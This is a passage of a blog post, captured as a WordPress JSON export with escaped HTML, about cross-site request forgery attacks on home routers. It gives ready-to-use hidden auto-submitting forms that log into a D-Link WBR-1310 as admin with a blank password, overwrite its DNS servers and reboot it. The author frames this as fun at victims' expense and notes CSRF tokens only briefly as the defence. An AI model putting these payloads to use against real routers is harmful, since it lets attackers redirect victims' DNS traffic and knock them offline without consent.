sizes=\"(max-width: 380px) 100vw, 380px\" \/><\/a><br \/>\nPerfect for ripping apart. <\/p>\n<p>When you first attempt to visit the admin page, there is no HTTP auth. No, its instead a form based authorization. This is because the router&#8217;s web server stores the session and doesn&#8217;t rely on things like cookies or basic auth for verification.<\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/dlink.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/dlink-300x176.png\" alt=\"dlink\" width=\"300\" height=\"176\" class=\"alignnone size-medium wp-image-1011\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/dlink-300x176.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/dlink-1024x599.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/dlink.png 1837w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>So how do we go about having some fun? In this example, we&#8217;ll modify DNS settings. Because if you control your victim&#8217;s DNS, you control your victim. First off we&#8217;ll need to authenticate:<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-style: italic\">&lt;!-- place in iframe1, submit after .5 seconds --&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;body<\/span> <span style=\"color: #FF0000\">onload=<\/span><span style=\"color: #0000FF\">&quot;setTimeout(function(){document.forms[0].submit();},500);&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;form<\/span> <span style=\"color: #FF0000\">action=<\/span><span style=\"color: #0000FF\">&quot;http:\/\/192.168.1.1\/login.cgi&quot;<\/span> <span style=\"color: #FF0000\">method=<\/span><span style=\"color: #0000FF\">&quot;post&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n <span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;login_name&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;admin&quot;<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;&lt;\/td&gt;<\/span>\r\n <span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;login_pass&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;&quot;<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n <span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;login&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;Log ln&quot;<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;submit&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;\/form&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;\/body&gt;<\/span>\r\n<\/pre>\n<\/div>\n<p>Then we submit to &#8216;h_wan_fix.cgi&#8217; our settings after we&#8217;ve logged in:<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-style: italic\">&lt;!-- place in iframe2 submit after 5 seconds to ensure login event takes place for router. --&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;body<\/span> <span style=\"color: #FF0000\">onload=<\/span><span style=\"color: #0000FF\">&quot;setTimeout(function(){document.forms[0].submit();},5000);&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;form<\/span> <span style=\"color: #FF0000\">id=<\/span><span style=\"color: #0000FF\">&quot;form1&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;form1&quot;<\/span> <span style=\"color: #FF0000\">method=<\/span><span style=\"color: #0000FF\">&quot;post&quot;<\/span> <span style=\"color: #FF0000\">action=<\/span><span style=\"color: #0000FF\">&quot;http:\/\/192.168.1.1\/h_wan_fix.cgi&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\t\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;static_dns1&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;8.8.8.8&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;static_dns2&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;8.8.4.4&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;\/form&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;script <\/span><span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;text\/javascript&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>document.forms[<span style=\"color: #0000FF\">0<\/span>].submit();<span style=\"color: #000080; font-weight: bold\">&lt;\/script&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;\/body&gt;<\/span>\r\n<\/pre>\n<\/div>\n<p>Pretty slick eh?<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/mhhm.gif\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/mhhm.gif\" alt=\"mhhm\" width=\"275\" height=\"207\" class=\"alignnone size-full wp-image-1006\" \/><\/a><\/p>\n<p>In keeping with the other content, we can&#8217;t leave out the reboot code can we?<\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/dlink2.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/dlink2-300x169.png\" alt=\"dlink2\" width=\"300\" height=\"169\" class=\"alignnone size-medium wp-image-1009\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/dlink2-300x169.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/dlink2-1024x576.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/dlink2.png 1920w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Viewing the source of the page gives us everything we need:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/dlink3.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/dlink3-300x169.png\" alt=\"dlink3\" width=\"300\" height=\"169\" class=\"alignnone size-medium wp-image-1010\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/dlink3-300x169.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/dlink3-1024x576.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/dlink3.png 1920w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Now we adapt to our needs:<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #000080; font-weight: bold\">&lt;form<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;form6&quot;<\/span> <span style=\"color: #FF0000\">method=<\/span><span style=\"color: #0000FF\">&quot;post&quot;<\/span> <span style=\"color: #FF0000\">action=<\/span><span style=\"color: #0000FF\">&quot;http:\/\/192.168.1.1\/restart.cgi&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n Reboots the WBR-1310 \r\n\t<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;restart&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;Reboot&quot;<\/span> <span style=\"color: #000080; font-weight: bold\">\/&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;\/form&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;script&gt;<\/span>document.forms[<span style=\"color: #0000FF\">0<\/span>].submit();<span style=\"color: #000080; font-weight: bold\">&lt;\/script&gt;<\/span>\r\n<\/pre>\n<\/div>\n<p>What about other routers and modems? Where does one go to get info on this? I found <a href=\"http:\/\/setuprouter.com\/\" target=\"_blank\">SetupRouter.com<\/a> to be extremely helpful for finding manuals, default passes, and settings. <\/p>\n<p>How could routers &#038; modems defend against such an attack? CSRF tokens. In fact, I was trying this against a friend&#8217;s newer netgear and it had this protection enabled in the form of a &#8220;timestamp&#8221; variable included after each post request. Clever. What this means is my attack will only silently own older netgears \ud83d\ude41<\/p>\n<p>This post could go on and on, but I don&#8217;t have the funds to buy every router \/ modem out there and test. Part of the reason why I stuck to Cox \/ Qwest &#8211; they&#8217;re local to Phoenix. No FIOS here unfortunately.<\/p>\n<p>Happy Hacking!<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/1272727032069.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/1272727032069.png\" alt=\"1272727032069\" width=\"584\" height=\"2680\" class=\"alignnone size-full wp-image-1022\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Modems Do you have cable internet? Own a surfboard modem? Since most of my buddies in AZ do, I sent them to this page and to my amusement, they got knocked off the net for a few minutes. How? Javascript. Specifically a CSRF in the Motorolla Surfboard. The Surfboard cable modem offers little in functionality [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[4,6],"tags":[101,99,98,100],"_links":{"self":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/951"}],"collection":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/comments?post=951"}],"version-history":[{"count":18,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/951\/revisions"}],"predecessor-version":[{"id":1024,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/951\/revisions\/1024"}],"wp:attachment":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/media?parent=951"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/categories?post=951"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/tags?post=951"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}